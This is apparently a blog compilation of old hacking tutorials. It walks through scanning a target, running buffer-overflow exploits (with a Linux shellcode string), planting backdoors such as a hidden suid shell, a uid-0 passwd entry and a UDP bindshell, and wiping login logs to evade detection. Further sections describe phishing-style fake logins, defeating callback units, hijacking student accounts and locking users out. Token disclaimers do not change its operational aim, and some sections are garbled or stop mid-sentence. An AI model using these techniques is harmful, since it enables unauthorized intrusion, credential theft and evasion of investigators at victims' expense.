internet with aol. You can't hack with aol. i don't like aol. aol sucks.

Don't worry, we humans are not perfect, and it's probably not your fault. If that is your case,

leave aol and get a real ISP. Then you'll be forgiven.

Don't get busted

~~~~~~~~~~~~~~~~

Let's suppose you haven't skipped everything below and your Linux bow is now connected to the net.

It's now turn for the STEALTH. You won't get busted! just follow my advices and you'll be safe.

- Don't hack

this is the most effective stealth technique. not even the FBI can bust you. :-)

If you choose this option, stop reading now, cause the rest is worthless and futile.

- If you change a webpage, DON'T SIGN! not even with a fake name. they can trace you, find

your own website oe email address, find your ISP, your phone number, your home...

and you get busted!!

- be PARANOID, don't talk about hacking to anyone unless he is really interested in hacking too.

NEVER tell others you've hacked a box.

- NEVER hack directly from your box (your_box --> victim's box).

Always use a third box in the middle (your_box --> lame_box --> victim's box).

Where lame_box is a previously hacked box or...a shell account box!

A shell account is a service where you get control of a box WITHOUT hacking it.

There are a few places where shell accounts are given for free. One of them is nether.net.

- Don't hack dangerous boxes until you're a real hacker.

Which boxes are dangerous:

Military boxes

Government boxes

Important and powerful companies' boxes

Security companies' boxes

Which boxes are NOT dangerous:

Educational boxes (any .edu domain)

Little companies' boxes

Japanese boxes

- Always connect to the internet through a free and anonymous ISP

(did i tell you that AOL is NOT an ISP?)

- Use phreking techniques to redirect calls and use others' lines for your ISP call.

Then it'll be really difficult to trace you. This is not a guide to phreaking anyway.

TCP ports and scanning

~~~~~~~~~~~~~~~~~~~~~~

Do you got your stealth linux box connected to the internet (not aol)?

Have you read the manual as i told you?

Then we shall start with the damn real thing.

First of all, you should know some things about the internet. It's based on the TPC/IP protocol,

(and others)

It works like this: every box has 65k connection PORTS. some of them are opened and waiting for

your data to be sent.

So you can open a connection and send data to any these ports. Those ports are associated with

a service:

Every service is hosted by a DAEMON. Commonly, a daemon or a server is a program that runs

on the box, opens its port and offers their damn service.

here are some common ports and their usual services (there are a lot more):

Port number Common service Example daemon (d stands for daemon)

21 FTP FTPd

23 Telnet telnetd

25 SMTP sendmail (yes!)

80 HTTP apache

110 POP3 qpop

Example:

when you visit the website http://www.host.com/luser/index.html, your browser does this:

-it connects to the TCP port 80

-it sends the string: "GET /HTTP/1.1 /luser/index.html" plus two 'intro'

(it really sends a lot of things more, but that is the essential)

-the host sends the html file

The cool thing of daemons is they have really serious security bugs.

That's why we want to know what daemons are running there, so...

We need to know what ports are opened in the box we want to hack.

How could we get that information?

We gotta use a scanner. A scanner is a program that tries to

connect to every port on the box and tells which of them are opened.

The best scanner i can think of is nmap, created by Fyodor.

You can get nmap from my site in tarball or rpm format.

Let's install nmap from an .rpm packet.

bash-2.03$ rpm -i nmap-2.53-1.i386.rpm

then we run it:

bash-2.03$ nmap -sS target.edu

Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )

Interesting ports on target.edu (xx.xx.xx.xx):

(The 1518 ports scanned but not shown below are in state: closed)

Port State Service

21/tcp open ftp

23/tcp open telnet

25/tcp open smtp

80/tcp open http

110/tcp open pop3

Nmap run completed -- 1 IP address (1 host up) scanned in 34 seconds

Nmap has told us which ports are opened on target.edu and thus, what services it's offering.

I know, i said telnet is a service but is also a program (don't let this confuse you).

This program can open a TCP connection to the port you specify.

So lets see what's on that ports.

On your linux console, type:

bash-2.03$ telnet target.edu 21

Trying xx.xx.xx.xx...

Connected to target.edu.

Escape character is '^]'.

220 target.edu FTP server (SunOS 5.6) ready.

quit

221 Goodbye.

Connection closed by foreign host.

You see?

They speak out some valuable information:

-their operating system is SunOS 5.6

-their FTP daemon is the standard provided by the OS.

bash-2.03$ telnet target.edu 25

Trying xx.xx.xx.xx...

Connected to target.edu.

Escape character is '^]'.

220 target.edu ESMTP Sendmail 8.11.0/8.9.3; Sun, 24 Sep 2000 09:18:14 -0

400 (EDT)

quit

221 2.0.0 target.edu closing connection

Connection closed by foreign host.

They like to tell us everything:

-their SMTP daemon is sendmail

-its version is 8.11.0/8.9.3

Experiment with other ports to discover other daemons.

Why is this information useful to us? cause the security bugs that can let us in depend

on the OS and daemons they are running.

But there is a problem here... such information can be faked!

It's difficult to really know what daemons are they running, but we can know FOR SURE

what's the operating system:

bash-2.03$ nmap -sS target.edu

Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )

Interesting ports on target.edu (xx.xx.xx.xx):

(The 1518 ports scanned but not shown below are in state: closed)

Port State Service

21/tcp open ftp

23/tcp open telnet

25/tcp open smtp

80/tcp open http

110/tcp open pop3

TCP Sequence Prediction: Class=random positive increments

Difficulty=937544 (Good luck!)

Remote operating system guess: Linux 2.1.122 - 2.2.14

Nmap run completed -- 1 IP address (1 host up) scanned in 34 seconds

Hey wasn't it SunOS 5.6? Damn they're a bunch of lame fakers!

We know the host is running the Linux 2.x kernel. It'd be useful to know also the distribution,

but the information we've already gathered should be enough.

This nmap feature is cool, isn't it? So even if they've tried to fool us, we can know

what's the OS there and its very difficult to avoid it.

Also take a look to the TCP Sequence Prediction. If you scan a host and nmap tells

you their difficulty is low, that means their TCP sequence is predictable and we

can make spoofing attacks. This usually happens with windoze (9x or NT) boxes.

Ok, we've scanned the target. If the admins detect we've scanned them, they could get angry.

And we don't want the admins to get angry with us, that's why we used the -sS option.

This way (most) hosts don't detect ANYTHING from the portscan.

Anyway, scanning is LEGAL so you shouldn't have any problems with it. If you want a better

usage of nmap's features, read its man page:

bash-2.03$ man nmap

How to upload and compile programs

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The most obvious and simple way is using FTP:

bash-2.03$ ls

program.c

sh-2.03$ ftp target.edu

Connected to target.edu.

220 target.edu FTP server (SunOS 5.6) ready.

Name: luser

331 Password required for luser.

Password:

230 User luser logged in.

ftp> put program.c

200 PORT command successful.

150 ASCII data connection for program.c (204.42.253.18,57982).

226 Transfer complete.

ftp> quit

221 Goodbye.

But this is not a really good way. It can create logs that will make the admin to detect us.

Avoid uploading it with FTP as you can, use cut&paste instead.

Here's how to make it:

we run a text editor

sh-2.03$ pico exploit.c

if it doesn't work, try this one:

sh-2.03$ vi exploit.c

Of course, you must learn how to use vi.

Then open another terminal (i mean without x windows, CTRL+ALT+Fx to scape from xwindows to x,

ALT+Fx to change to another terminal, ALT+F7 to return xwindows) on your own box and cut the

text from it. Change to your target and paste the code so you've 'uploaded' the file.

To cut a text from the screen, you need to install the gpm packet from your linux distribution.

This program lets you select and cut text with your mouse.

If cut&paste doesn't work, you can also type it by hand (they aren't usually large).

Once you get the .c file there, here's how to compile:

sh-2.03$ gcc program.c -o program

and execute:

sh-2.03$ ./program

Exploiting vulnerabilities

~~~~~~~~~~~~~~~~~~~~~~~~~~

This is the most important part of our hacking experience. Once we know what target.edu

is running, we can go to one of those EXPLOIT databases that are on the net.

A exploit is a piece of code that exploits a vulnerability on its software. In the case of

target.edu, we should look for an adequate exploit for sendmail 8.11.0 or any other daemon

that fits. Note that sendmail is the buggiest and the shittiest daemon, thus the most easy

exploitable. If your target gots an old version, you'll probably get in easyly.

When we exploit a security bug, we can get:

- a normal shell (don't know what a shell is? read a book of unix!)

a shell is a command interpreter. for example, the windoze 'shell' is the command.com file.

this one lets us send commands to the box, but we got limited priviledges.

- a root shell

this is our goal, once we're root, we can do EVERYTHING on our 'rooted' box.

These are some exploit databases i suggest you to visit:

www.hack.co.za

www.r00tabega.org

www.rootshell.com

www.securityfocus.com

www.insecure.org/sploits.html

Every exploit is different to use, so read its text and try them.

They usually come in .c language.

The most standar and easy to use exploits are buffer overflows.

I won't explain here how a buffer overflow does work,

Read "Smash The Stack For Fun And Profit" by Aleph One to learn it.

You can download it from my site. (www.3b0x.com)

Buffer overflows fool a program (in this case sendmail) to make it execute the code you want.

This code usually executes a shell, so it's called 'shellcode'. The shellcode to run a shell

is different to every OS, so this is a strong reason to know what OS they're running.

We edit the .c file we've downloaded and look for something like this:

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

This is a shellcode for Linux. It will execute /bin/sh, that is, a shell.

You gotta replace it by the shellcode for the OS your target is running.

You can find shellcodes for most OSes on my site or create your own by reading

the text i mentioned before (Smash The Stack For Fun And Profit).

IMPORTANT: before continuing with the practice, ask your target for permission to hack them.

if they let you do it, then you shall continue.

if they don't give you permission, STOP HERE and try with another one.

shall you continue without their permission, you'd be inquiring law and

i'm not responible of your craziness in any way!!!

You should have now the shell account, this is the time to use it!

everything i explain on this section, do it through your shell account:

bash-2.03$ telnet myshellaccount 23

Trying xx.xx.xx.xx...

Connected to yourshellaccount.

Escape character is '^]'.

Welcome to yourshellaccount

Password: (it doesn't display)

Last login: Fry Sep 15 11:45:34 from <yourIPaddress>.

sh-2.03$

Here is a example of a buffer overflow (that doesn't really exist):

we compile it:

sh-2.03$ gcc exploit.c -o exploit

we execute it:

sh-2.03$ ./exploit

This is a sendmail 8.9.11 exploit

usage: ./exploit target port

Sendmail works on port 25, so:

sh-2.03$./exploit 25 target.edu

Cool, '$' means we got a shell! Let's find out if we're root.

$whoami

root

Damn, we've rooted target.edu!

$whyamiroot

because you've hacked me! :-) (just kidding)

There are some exploits that don't give you root directly, but a normal shell.

It depends on what luser is running the daemon. (sendmail is usually root)

Then you'll have to upload a .c file with a local (local means it can't overflow

a daemon, but a local program) overflow and compile it.

Remember to avoid uploading it with FTP as you can.

Other kind of exploit is the one that gives you access to the password file.

If a host gots port 23 (telnet) opened, we can login as a normal user

(remote root logins are usually not allowed) by putting his/hers/its username

and password. Then use the su command to become root.

sh-2.03$ telnet target.edu 23

Trying xx.xx.xx.xx...

Connected to target.edu.

Escape character is '^]'.

We're running SunOS 5.7

Welcome to target.edu

Password: (it doesn't display)

Last login: Fry Sep 22 20:47:59 from xx.xx.xx.xx.

sh-2.03$ whoami

luser

Are we lusers?

sh-2.03$ su root

Password:

Don't think so...

sh-2.03$ whoami

root

sh-2.03$

Let's see what happened. We've stolen the password file (/etc/shadow) using an exploit.

Then, let's suppose we've extracted the password from luser and root. We can't login as

root so we login as luser and run su. su asks us for the root password, we put it and...

rooted!!

The problem here is that is not easy to extract a root password from a password file.

Only 1/10 admins are idiot enough to choose a crackable password like a dictinonary word

or a person's name.

I said some admins are idiot (some of them are smart), but lusers are the more most

idiotest thing on a system. You'll find that luser's passwords are mostly easyly cracked,

you'll find that lusers set up rlogin doors for you to enter without a password, etc.

Not to mention what happens when an admin gives a normal luser administrator priviledges

with sudo or something.

To learn how to crack a password file and extract its passwords, download a document called

"cracking UNIX passwords" by Zebal. You can get it from my site (www.3b0x.com).

Of course, I haven't listed all the exploit kinds that exist, only the most common.

Putting backdoors

~~~~~~~~~~~~~~~~~

Ok, we've rooted the system. Then what?

Now you're able to change the webpage of that .edu box. Is that what you want to do?

Notice that doing such a thing is LAMER attitude. everyone out there can hack an .edu

box, but they're not ashaming them with such things.

Hacktivism is good and respected. You can change the page of bad people with bad ideologies

like nazis, scienciologists, bsa.org, microsoft, etc. Not a bunch of poor educators.

REMEMBER: ask for permission first!

No, this time you should do another thing. You should keep that system for you to play with

as a toy! (remember: your_box --> lame_box --> victim's box)

Once we type "exit" on our login shell, we're out. And we gotta repeat all the process to get

back in.

And it may not be possible:

- the admin changed his password to something uncrackable.

- they updated sendmail to a newer version so the exploit doesn't work.

So now we're root and we can do everything, we shall put some backdoors that let us get back in.

It may be interesting to read the paper about backdoors I host on my site. (www.3b0x.com)

Anyway, i'll explain the basics of it.

1.How to make a sushi:

To make a sushi or suid shell, we gotta copy /bin/sh to some hidden place and give it suid

permissions:

sh-2.03$ cp /bin/sh /dev/nul

In the strange case the admin looks at /dev, he wouldn't find something unusual cause

/dev/null does exist (who notices the difference?).

sh-2.03$ cd /dev

sh-2.03$ chown root nul

Should yet be root-owned, but anyway...

sh-2.03$ chmod 4775 nul

4775 means suid, note that "chmod +s nul" wouldn't work on some systems but this works everywhere.

We've finished our 'duty', let's logout:

sh-2.03$ exit

Then, when we come back some day:

sh-2.03$ whoami

luser

sh-2.03$ /dev/nul

sh-2.03$ whoami

root

We're superluser again!

There's one problem: actually most shells drop suid permissions, so the sushi doesn't work.

we'd upload then the shell we want and make a sushi with it.

The shell we want for this is SASH. A stand-alone shell with built-in commands.

This one doesn't drop suid perms, and the commands are built-in, so external commands

can't drop perms too! Remember to compile it for the architecture of the target box.

Do you know where to get sash from? From my site :-). (www.3b0x.com)

2.How to add fake lusers.

You gotta manipulate the users file: /etc/passwd

try this:

sh-2.03$ pico /etc/passwd

if it doesn't work, try this:

sh-2.03$ vi /etc/passwd

Of course, you must learn how to use vi.

This is what a luser line looks like: luser:passwd:uid:gid:startdir:shell

When uid=0 and gid=0, that luser gets superluser priviledges.

Then we add a line like this:

dood::0:0:dood:/:/bin/sh (put it in a hidden place)

So, once we get a shell, we type:

sh-2.03$ su dood

sh-2.03$ whoami

dood

And now we're root because dood's uid=0 and gid=0.

Smart admins usually look for anomalities on /etc/passwd. The best way is to use a fake

program in /bin that executes the shell you want with suid perms.

I haven't got such a program at my site, but it shouldn't be difficult to develope.

3.How to put a bindshell.

A bindshell is a daemon, it's very similar to telnetd (in fact, telnetd is a bindshell).

The case is this is our own daemon. The good bindshells will listen to an UDP port (not TCP)

and give a shell to you when you connect. The cool thing of UDP is this:

If the admin uses a scanner to see what TCP ports are open, he woldn't find anything!

They rarely remember UDP exists.

You can get an UDP bindshell coded by !hispahack from my site.

Cleaning up

~~~~~~~~~~~

Remember when we logedin to target.edu as luser, and used su to become root?

Take a look to this line:

Last login: Fry Sep 22 20:47:59 from xx.xx.xx.xx.

Yes, that was displayed by the target box when we logedin there.

It refers to the last login that the real luser did.

So, what will be displayed when luser logsin again?

Last login: Sun Sep 24 10:32:14 from <yourIPaddress>.

Then luser writes a mail to the admin:

"It has happen some strange thing, when I loggedin today, I've read a line like this:

Last login: Sun Sep 24 10:32:14 from <yourIPaddress>.

Does it mean I did login yesterday? It can't be, I don't work on sundays!

I think it's a bug and this is your fault."

The admin responds to luser:

"That wasn't a bug! this line means someone acceded the system using your password, don't

worry for that, we got his IP. That means we can ask his ISP what phone number did call

at 10:32 and get <yourIPaddress>. Then we shall call the police and he'll get busted"

So you'll get busted because luser was a bit clever (sometimes happens).

So we gotta find a way to delete that.

This information can be stored in:

/usr/adm/lastlog

/var/adm/lastlog

/var/log/lastlog

and we can erase it using lled (get it from my site)

lled gots a buitin help that explains how to use it, remember to chmod the fake file

created by lled like the substitute lastlog file.

There is also some information we'd like to erase:

Remember when i told you not to use FTP? Well, in case you did it, you must now

use wted to clean up. Its sintax is very similar to lled.

you can get it from my site.

The who command shows us (and the admin) which lusers are logedin at the moment.

What if we login and the admin is there?

sh-2.03$ who

root tty1 Sep 25 18:18

Then we shall use zap2. If you loggedin as 'luser', then type:

sh-2.03$ ./zap2 luser

Zap2!

sh-2.03$ who

sh-2.03$

And luser has never been here.

Greetings

~~~~~~~~~

Ok, this is all for now (i'll make a newer version). I hope it has been useful to you and you

decide to continue learning and become a real hacker. You can visit my site (www.3b0x.com)

for more advanced tutorials so you can improve your skills.

I'd get very happy if you send me a mail telling me your impression about this paper (wether

is good or bad), and you help me to improve it.

I'd like to send my greetings to every hacker that has tought me in any way, through newsgroups

or other tutorials like this one. thanks to all.

RAghib.........................................................................................................................................

Hacking Password Protected Website's By RAGHIB AND ZAFAR Hacking Password Protected Website's By RAGHIB AND ZAFAR Hacking Password Protected Website's By RAGHIB AND ZAFAR

2012-02-28T22:56:00.003-08:00

Hacking Password Protected Website's By RAGHIB AND ZAFAR

There are many ways to defeat java-script protected websites. Some are very simplistic, such as hitting

[ctl-alt-del ]when the password box is displayed, to simply turning offjava capability, which will dump you into the default page.You can try manually searching for other directories, by typing the directory name into the url address box of your browser, ie: you want access to www.target.com .

Try typing www.target.com/images .(almost ever y web site has an images directory) This will put you into the images directory,and give you a text list of all the images located there. Often, the title of an image will give you a clue to the name of another directory. ie: in www.target.com/images, there is a .gif named gamestitle.gif . There is a good chance then, that there is a 'games' directory on the site,so you would then type in www.target.com/games, and if it isa valid directory, you again get a text listing of all the files available there.

For a more automated approach, use a program like WEB SNAKE from anawave, or Web Wacker. These programs will create a mirror image of an entire web site, showing all director ies,or even mirror a complete server. They are indispensable for locating hidden files and directories.What do you do if you can't get past an opening "PasswordRequired" box? . First do an WHOIS Lookup for the site. In our example, www.target.com . We find it's hosted by www.host.com at 100.100.100. 1.

We then go to 100.100.100.1, and then launch \Web Snake, and mirror the entire server. Set Web Snake to NOT download anything over about 20K. (not many HTML pages are bigger than this) This speeds things up some, and keeps you from getting a lot of files and images you don't care about. This can take a long time, so consider running it right before bed time. Once you have an image of the entire server, you look through the directories listed, and find /target. When we open that directory, we find its contents, and all of its sub-directories listed. Let's say we find /target/games/zip/zipindex.html . This would be the index page that would be displayed had you gone through the password procedure, and allowed it to redirect you here.By simply typing in the url www.target.com/games/zip/zipindex.html you will be onthe index page and ready to follow the links for downloading.

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

(DISCLAIMER)XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

The Info Above Is Lame!!!. I Dont Condone The Use Of This Document In A Malisous Manner. I Suggest That U Dont Do it But U Do What Ever U Want. I Will Not Be Responsible For Any Thing That Might Happen To U If U Use This. :)

by RAGHIB AHSAN

My Great Web page

HACKING TECHNIQUES

2012-02-28T22:24:00.004-08:00

HACKING TECHNIQUES

1) CALLBACK UNITS:

Callback units are a good security device, But with most phone systems,

it is quite possible for the hacker to use the following steps to get

around a callback unit that uses the same phone line for both incomming

and out going calls:First, he calls he callback unit and enters any

authorized ID code (this is not hard to get,as you'll see in a moment).

After he enters this ID, the hacker holds the phone line open - he does

not hang up. When the callback unit picks up the phone to call the user back,

the hacker is there, waiting to meet it.

The ID code as I said, is simple for a hacker to obtain, because these

codes are not meant to be security precautions.The callback unit itself

provides security by keeping incomming calls from reaching the computer.

The ID codes are no more private than most telephone numbers. Some callback

units refer to the codes as "location identification numbers," and some

locations are used by several different people,so their IDs are fairly

well known.I've been told that, in some cases,callback ubits also have

certain simple codes that are always defined by default. Once the hacker

has entered an ID code and the callback unit has picked up the phone to

re-call him,the hacker may or may not decide to provide a dial tone to

allow the unit to "think" it is calling the correct number. In any event,

the hacker will then turn on his computer, connect with the system - and

away he goes.If the however, the hacker has trouble holding the line with

method,he has an option: the intercept.

The Intercept:

Holding the line will only work with callback units that use the same

phone lines to call in and to call out.Some callback units use different

incoming and outgoing lines, numbers 555-3820 through 555-3830 are dedicated

to users' incoming calls, and lines 555-2020 through 555-2030 are dedicated

to the computers outgoing calls.The only thing a hacker needs in order to

get through to these systems is a computer and a little time - he doesn't

even need an ID code. First,the hacker calls any one of the outgoing phone

lines, which, of course, will not answer.Sooner or later, though, while the

hacker has his computer waiting there, listening to the ring, an authorized

user will call one of the incomming lines and request to be called back.

It will usually be less than an hours wait, but the hacker's computer

is perfectly capable of waiting for days, if need be.

The callback unit will take the code of the authorized user, hang up,

verify the code, and pick up the phone line to call back.If the unit

tries to call out on the line the hacker has dialed, the hacker has his

computer play a tone that sounds just like a dial tone.The computer will

then dial the number given that matches up with the user's authorized ID.

After that,the hacker can just connect his computer as he would in any

other case.If he is really serious,he will even decode the touch tones

that the mainframe dialed,figure out the phone number of the user the

system was calling, call the person, and make a few strange noises that

sound as though the computer called back but didnt work for some reason.

2) TRAPDOORS AS A POSSIBLILITY

I haven't heard of this happening, but i think it is possible that a

callback modem could have a trapdoor built into it.Callback modems are

run by software, which is written by programmers.An unscrupulous programmer

could find it very easy to slip in an unpublicized routine, such as,

"if code =*43*, then show all valid codes and phone numbers." And such a

routine, of course, would leave security wide open to anyone who found the

trapdoor.The obvious protection here, assuming the situation ever arises,

is simply an ethical manufactorer that checks its software thoroughly before

releasing it.

A trapdoor is a set of special instructions embedded in the large

program that is the operating system of a computer.A permanent,

hopefully secret "doorway", these special instructions enabe anyone who

knows about them to bypass normal security procedures and to gain access to

the computer's files.Although they may sound sinister, trapdoors were not

invented by hackers, although existing ones are certainly used by hackers

who find out about them.

3) THE DECOY

One of the more sophisticated hacking tools is known as the decoy, and it

comes in three versions.The first version requires that the hacker have an

account on the system in question. As in my case,the hacker has a

low-security account,and he tries this method to get higher-security

account.He will first use his low-security account to write a program that

will emulate the log-on procedures of the systems in questions.

This program will do the following:

*- Clear the terminal screen and place text on it that makes everything

look as if the system is in charge.

*- Prompt for, and allow the user to enter, both an account name and a password.

*- Save that information in a place the hacker can access.

*- Tell the use the account/password entries are not acceptable.

*- turn control of the terminal back over to the system.

The user will now assume that the account name or password was mistyped

and will try again...this time (scince the real operating system is in

control) with more success.You can see a diagram of the way these steps are

accomplished

___________________

| Clear Terminal |

| screen |

|____________________|

_________||_________

| Print Compuserve |

| Computer |

|_____ Network ______|

_________||_________

| Print "ENTER |

| PASSWORD" |______

|____________________| |

|| |

_________||_________ |

| PASSWORD ENTERED? |__NO__|

|____________________|

||_YES

_________||_________

| SAVE PASSWORD |

| INFORMATION |

|____________________|

_________||_________

| PRINT "LOGIN |

| INCORRECT |

|____________________|

_________||_________

| LOG OFF/RETURN |

| CONTROL TO |

| OPERATING SYSTEM |

|____________________|

4) CALL FORWARDING

Many people use call forwarding by special arrangement with the phone

company.When a customer requests call forwarding, the phone company uses

its computer to forward all the customers incomeing calls to another

number. Lets say, for example, that you want calls that come to your office

phone to be forwarded to your home phone: A call from you to the phone

company,some special settings in the phone companys computer, and all

calls to your office will ring at your home instead.This little bit of help

from the phone company is another tool used by hackers. Lets say you thought

that the computer you were hacking into was being watched-because the

sysop might have seen you and called the fed's and your sort of bugged by

this nagging feeling that they will trace the next hacker that calls,

just call the phone company and ask for call forwarding, pick a number,

(ANY NUMBER) out of the phone book and have your calls forwarded to that

number,Hea,Hea, the number you picked is the one that will be traced to,

not yours, so you could be hacking away,they think that they have traced you,

but actually the number you had your calls forwarded too. they enter chat mode

and say (YOUR BUSTED!!!!, WE'VE TRACED YOUR PHONE NUMER THE FEDS ARE ON THE

WAY!!), You could reply (Hea, SURE YA DID! I'D LIKE TO SEE YA TRY AND GET ME!

GO AHEAD!) ,that wont seem very important to them at the time, but it will

sure piss them off when they bust the wrong guy!

5) RAPID FIRE

Memory-location manipulation can be helpful, but there is another, more

powerful,possibility, in some cases: the Rapid-fire method.To understand how

this methos works, you have to know something about the way operationg

systems work.When a user enters a command, the operating system first places

the command in a holding area, a buffer, where it will sit for a few

millionths of a second.The system looks at the command and say's "Does this

person really have authorization to do this, or not?" Then, the command

sits there a few thousandths of a second while the system runs off to

check the user's authorization.When the system comes back to the command,

it will have one of two possible answers: "OK, GO AHEAD," or "SORRY,

GET PERMISSION FIRST."

Once you are on a system that handles things this

How to Hack UNIX System V

2012-02-28T22:21:00.001-08:00

How to Hack UNIX System V

UNIXSYSV.HAK - File on hacking Unix System V's

From THE HACKER'S GUIDE TO W.S.U. comes
the ultimate in weekend entertainment

------------
How to Hack UNIX System V
-------------------------
includes the INTRODUCTION TO HACKING
and HOW TO NOT GET CAUGHT
-------------------------
------------

Last Revision: 1-18-89
Version: 2.0

INTRODUCTION TO HACKING
=======================
Hacking is the art of attempting everything until something finally works.
The average hacker is usually only armed with educated guesses. Why hack?
Generally, you have some reason. My favorite reason being that it's fun. But
these days are getting pretty suspicious and you have to watch yourself when
hacking even if you don't have malicious intents. Hacking is lots of work and
is also dangerous. So be careful and don't get caught!

HOW TO NOT GET CAUGHT
=====================
Okay great, how do I avoid getting caught? That depends on what you are
doing. In this file I will be discussing UNIX System V and therefore my
suggestions should only be taken as pertaining to that. Even if you follow
my suggestions, you can still get caught. Some operators are extremely
persistant and will stop at nothing to nail you. If modems start answering
when you pick up a phone, or you become known as the "human carrier" by your
friends, then I suggest you lay low for awhile.
Here are some obvious things to be aware of when you are hacking by modem,
I thought I'd include them in case you overlook them. You should always be
on the lookout for these types of suspicious activity.
1] Excessive line noise in an area that usually has none.
2] You hear other voices simultaneously on the phone line.
This occasionally happens normally with the old analog FDM
multiplex equipment. But it also can be caused by a wire tap,
so try to be careful here! * See the note on wire taps.
3] Any van or minivan parked next to:
a] A telephone pole.
b] An underground steam vent hole.
c] Also watch for cloth tee-pees with MA BELL symbols on them
near poles or steam vents.
This is a *DEAD GIVAWAY*!!! If you see this, cease all hacking
for at least a month! (An make sure that the vans are GONE,
--NOT-- just moved to another location!)
>> Check for wires going to the van from the pole, or vent. And
check to see if the van is white (FBI uses these alot) or a
phone co. van.
4] Watch the abandoned rooms in your building, if they suddenly have
lots of equipment in them, take note here!
5] Anything unusual about the way your phone service operates that
the neighbors don't seem to have going on!
That's all I can come up with right now. But I'm sure there are more.

WIRE TAPS
=========
Belive it or not, this is still one of the most commonly used methods
of nabbing a hacker. The above list is a good guide to detecting an active
wire tap. If you can afford the equipment, you can do what is know as a
"sweep" of the phone line every now and then. Another thing you can do is
build a device which monitors the phone line voltage. If the voltage suddenly
drops during use, you either have a wire tap or someone picked up an extension.
Here are some specs for monitoring line voltage:
Ringer voltage:90V at 20-30Hz
On-Line:30-50V
Clear voltage:600V (Watch out! This will toast any MOV you have
in your modem! Usually this is used to fuse noisy
phone lines shut.)
The average cops don't have the equipment to properly implement a wire tap,
much less a data tap. However, I have heard of data cops in Seattle and
Chicago.

TRACING PHONE CALLS
===================
Here is yet another way you can get your butt caught. It is getting
easier and easier for the average person to trace phone calls. I just
found out a few days ago that dialing 33 on an on-campus phone will trace
the last call to that phone. Rest assured that an operator will use this
to nab you if he can. This however, only affects remote dial-ups, and not
the on-campus links. Remote dial-ups used to be so safe, but no more...
-- more --A good place to hack from is a nearby terminal room. *NOT* in the same
building that you live in! Do it at night, so if there is a system operator
at all on duty late he will probably be sleeping.

RFI READING
===========
This is a fairly new method of catching hackers, and I really don't think
the average hacker has much to worry from it. It is too complex to implement
and doesn't even work most of the time. Especially if you're in an area that
has lots of TV's or computer monitors. The device used basicly reads the
faint radio frequencies created by your monitor and translates them back into
a video signal. When it actually does work the guy running it can see exactly
what you are seeing on your monitor. Pretty tricky, but he has to be able to
pick out your signal first.

ESS -- IT'S BAD
===============
Alright boys and girls, on top of everything else in the world we now are
bless with the wonders of Electronic Standardized Switching. Or otherwise
known as ESS. Remember that sharp increase in your phone bill about a year
ago? "It's a new computerized system designed to allow quicker routing of
your calls". Bullshit. It sole purpose is to catch phreakers. That's all
it does, and it does it well. With this, the phone co. can trace a call in
-- more --.55 seconds to anywhere. It keeps records on all calls, including local!
And just about every phone box in the books will not only refuse to work,
ESS will notify the cops when you try to use it!
Have some faith. ESS is not exactly the end of the world either. Like
every system ever come up with, people will hack it. And eventually it will
be just as easy to hack ESS as it was to do on the old phone system.

+++++++++++++++++++++++++++++++++++++
Okay! Enough beginner's stuff!
Onward to hacking UNIX System V !
+++++++++++++++++++++++++++++++++++++

Not much here: I just started this paper, and am still looking for
anything I can add to it!
Remember: The operator can see what you are doing at all times! But
usually they don't care or the information scrolls by so
fast they don't have time to read it.
Note: If you flub up your password or try to access secured files, the
system will automaticly record everything that you do! And on
some systems, the system will record everything you do anyway!

HOW TO LOG ON UNDER ANOTHER USER'S NAME
=======================================
This is the heart of hacking a UNIX system. You don't want to do any
hacking under any ID that can be associated with you. And you don't want
to use another user's ID more than once if at all possible.

There really is no way to get a name and password without first having
some level of access to the system. How do I get in then? I rely on the
fact that our GANDALF data switch is extremely unstable. 1 out of 5 logins
will drop you under someone else's name *NO QUESTIONS ASKED*. Just change
parity (8N1 to E71) alot while GANDALF is loading UNIX. Eventually, you
will get in this way. This happens because a user hung up on the phone
line without loggig off! So be sure to log yourself off the system when
you finish with *ANY* work.

They saw. A couple of days ago I was doing this and somehow I was
logged off of the system. The words "LOGOFF" just appeared on my command
prompt and entered themselfs. I suspect the guy whose number I used was in
-- more --the terminal room monitored by a superuser. And he just told the SU that
there appeared to be two of him. (Probably used the WHO command).

THE LOCK OUT
============
Believe it or not, UNIX will actually allow you to lock out other
users from the system. First, you select a target person. Then you place
the file VI.LOGIN in their default directory (the one that UNIX automaticly
loads them into when they log onto the system). You set up VI.LOGIN like
this:

VI.LOGIN (Just the file name!)
logout

So VI.LOGIN only contains one command. VI.LOGIN is automaticly executed
when a person logs onto the system. So as soon as your pigeon gets onto the
system he immeadiatly gets logged off!

Suggested Uses: On a Prof a few days before your assignment is due.
Someone you really don't like (wait a few weeks so they
don't figure it out right away!)
It might work on the ROOT (The SuperUser's name)

GETTING NEW NAMES
=================
Here is yet another way to gather SEVERAL users names AND PASSWORDS.
First, (the hard part) wait until the beginning of a semester. Now,
somehow you have to get a list of the ID numbers for students in UNIX-
oriented classes. You can usually find one of these lists posted outside
a professor's office (try the computer science building) or one of many
other places. Anyways, you have a list of student ID numbers.

Now, preferably on the first day of class, start logging in as a few
(maybe 3-4) students. I prefer to use ID's from low-level (100's) classes
as the students will just think that they've screwed up. Log into the
system, and if the student hasn't been on the system before, you will
be prompted for a password! And viola! You not only have access but also
you have the password of your choice. This happens because the computing
faculty is too lazy to pass out customized passwords to thier students.
New students are expected to select their own passwords, but that means
that the system won't be able to tell who is who!

Suggested Uses: Most likely your access won't stay good for more than
a few days. You might want to take full advantage of it
and really cause some havoc. For one thing, you could
lock out an entire computer class! (See LOCK OUT
described above). If you're really good, and can crack
the coded passwords in the PASSWRDS file, then you can
get the Super-User (SU) password and have all the fun
you want!

=========
THE END
=========

And Remember!
This paper was provided for educational purposes only!

Special thanks to:
==================
Raghib
Zafar
Sharique

My Great Web page

-- Turning your Mail Bomber into a ICQ Pager Bomber --

